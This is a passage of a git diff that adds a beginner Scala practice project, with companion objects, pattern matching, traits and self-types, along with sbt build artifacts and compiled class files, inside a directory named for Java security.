aby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala new file mode 100644 index 00000000..04f77ace --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala @@ -0,0 +1,7 @@ +package LazyList + +class Person extends Serializable{ + + + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala new file mode 100644 index 00000000..3d464111 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala @@ -0,0 +1,6 @@ +package LazyList + +class Serialize { + + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala new file mode 100644 index 00000000..75634761 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala @@ -0,0 +1,5 @@ +object HelloSpark{ + def main(args:Array[String]):Unit = { + println("Hello Spark!") + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala new file mode 100644 index 00000000..b575f533 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala @@ -0,0 +1,17 @@ +package basiCode;object Match { + def show(result:String):Unit={ + println(result) + } + def main(args: Array[String]): Unit = { + val x=11 + val y=x match { + case 1 => "one" + case 2 => "two" + case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 + case _ => s"other: _" + } + show(y) + //other: 11 + + } + } diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala new file mode 100644 index 00000000..2f389344 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala @@ -0,0 +1,67 @@ +// 定义一个Person类,作为伴生类 +class Person(val name: String, val age: Int) { + private val secret = "I love Scala" + + + def sayHello(): Unit = { + println(s"Hello, I am $name, $age years old.") + } +} + +// 定义一个Person对象,作为伴生对象 +object Person { + + var count = 0 + + def increase(): Unit = { + count += 1 + println(s"Person count: $count") + } + + def showSec():Unit={ + println(apply("test",1).secret) + } + + // 定义一个apply方法,用于创建Person类的实例 + def apply(name: String, age: Int): Person = { + increase() + new Person(name, age) // 返回新的Person对象 + } + + // 定义一个unapply方法,用于提取Person类的属性 + def unapply(person: Person): Option[(String, Int)] = { + if (person == null) None // 如果person为空,返回None + else Some(person.name, person.age) // 否则返回Some元组 + } +} +object Main { + + def main(args: Array[String]): Unit = { + // 使用伴生对象的apply方法创建Person类的实例,省略了new关键字 + val p1 = Person("Alice", 20)//Person count: 1 + val p2 = Person("Bob", 25)//Person count: 2 + + // 使用伴生对象的字段和方法 + println(Person.count) // 输出2 + Person.increase() // Person count: 3 + Person.showSec()//输出Person count: 4 + //I love Scala(伴生对象可以访问伴生类的私有成员) + + // 使用伴生类的字段和方法 + /* + println(p1.secret)// 无法访问私有成员 + */ + p1.sayHello() // 输出Hello, I am Alice, 20 years old. + + // 使用模式匹配和提取器,利用伴生对象的unapply方法 + val p3=null + p1 match { + case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. + case _ => println("Unknown person.") + } + p3 match { + case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. + case _ => println("Unknown person.") + } + } +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala new file mode 100644 index 00000000..8160d848 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala @@ -0,0 +1,16 @@ +//class Person(val name: String, val age: Int) +// +//object Person { +// def apply(name: String, age: Int): Person = new Person(name, age) +// +// def main(args: Array[String]): Unit = { +// +// // 使用 apply 方法创建对象 +// val person = Person("Alice", 25) +// println(person.name) +// } +// +//} +// +// +// diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala new file mode 100644 index 00000000..23bcfa96 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala @@ -0,0 +1,44 @@ +package basiCode.self_type + + +object Cat { + + class Cat { + val name: String = "Tom" + val color: String = "Gray" + + def meow(): Unit = println("Meow!") + + } + trait Talkative { + def talk(): Unit + } + + trait Singer { + self: Talkative => // 声明自身类型,表示Singer依赖于Talkative + def sing(): Unit = { + talk() // 可以直接使用Talkative的成员 + println("La la la...") + } + } + + trait Dancer { + self: Singer => // 声明自身类型,表示Dancer依赖于Singer + def dance(): Unit = { + sing() // 可以直接使用Singer的成员 + println("Shake shake shake...") + } + } + + def main(args: Array[String]): Unit = { + val tom = new Cat with Talkative with Singer with Dancer { + override def talk(): Unit = { + println("test") + } + } // 创建一个会说话、唱歌、跳舞的猫 + tom.talk() // 输出:Meow! + tom.sing() // 输出:Meow! La la la... + tom.dance() // 输出:Meow! La la la... Shake shake shake... + } + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala new file mode 100644 index 00000000..345128e5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala @@ -0,0 +1,6 @@ +package basiCode.`trait` + +trait PersonBody { + + val height: Int +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala new file mode 100644 index 00000000..1df87475 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala @@ -0,0 +1,13 @@ +import basiCode.`trait`.PersonBody + +object PersonBodyImpl { + + class PersonBodyImpl(name : String) extends PersonBody{ + override val height: Int = 185 + } + def main(args: Array[String]): Unit = { + var person = new PersonBodyImpl("Cloud") + println(person.height) + //185 + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala new file mode 100644 index 00000000..0f586ad7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala @@ -0,0 +1,25 @@ +import basiCode.`trait`.{PersonBody, PersonHobby} + +object PersonBodyImpls { + + class PersonBodyImpls(name : String) extends PersonBody with PersonHobby { + + override def showHobby(): Unit = { + println(hobbyGame) + } + + override val height: Int = 185 + + override var hobbyGame: String = "Drunkbaby sleep" + + } + + def main(args: Array[String]): Unit = { + var person = new PersonBodyImpls("Cloud") + person.showHobby() + + } + + +} + diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala new file mode 100644 index 00000000..d3634333 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala @@ -0,0 +1,6 @@ +package basiCode.`trait` + +trait PersonHobby{ + var hobbyGame: String + def showHobby() +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class new file mode 100644 index 00000000..5731117a Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class new file mode 100644 index 00000000..c1710a19 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class new file mode 100644 index 00000000..7fea1daa Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class new file mode 100644 index 00000000..e188c1ef Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class new file mode 100644 index 00000000..82e8b461 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class new file mode 100644 index 00000000..299976d1 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class new file mode 100644 index 00000000..bfd290a4 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class new file mode 100644 index 00000000..96f4179d Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class new file mode 100644 index 00000000..69bcdbab Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class new file mode 100644 index 00000000..2ef29221 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class new file mode 100644 index 00000000..99efe675 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class new file mode 100644 index 00000000..a1926f4c Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class new file mode 100644 index 00000000..18eb0d9b Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class new file mode 100644 index 00000000..e2d792cb Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class new file mode 100644 index 00000000..d6906263 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class new file mode 100644 index 00000000..7f96c1f7 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class new file mode 100644 index 00000000..43784d4c Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class new file mode 100644 index 00000000..d452cc25 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class new file mode 100644 index 00000000..6c56b602 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class new file mode 100644 index 00000000..d7f3d07f Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class new file mode 100644 index 00000000..7e7ed7dc Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class new file mode 100644 index 00000000..fb1e1b16 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class new file mode 100644 index 00000000..4b7d8856 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs new file mode 100644 index 00000000..df642f7c --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs @@ -0,0 +1 @@ +490089905 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output new file mode 100644 index 00000000..9a48fde1 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www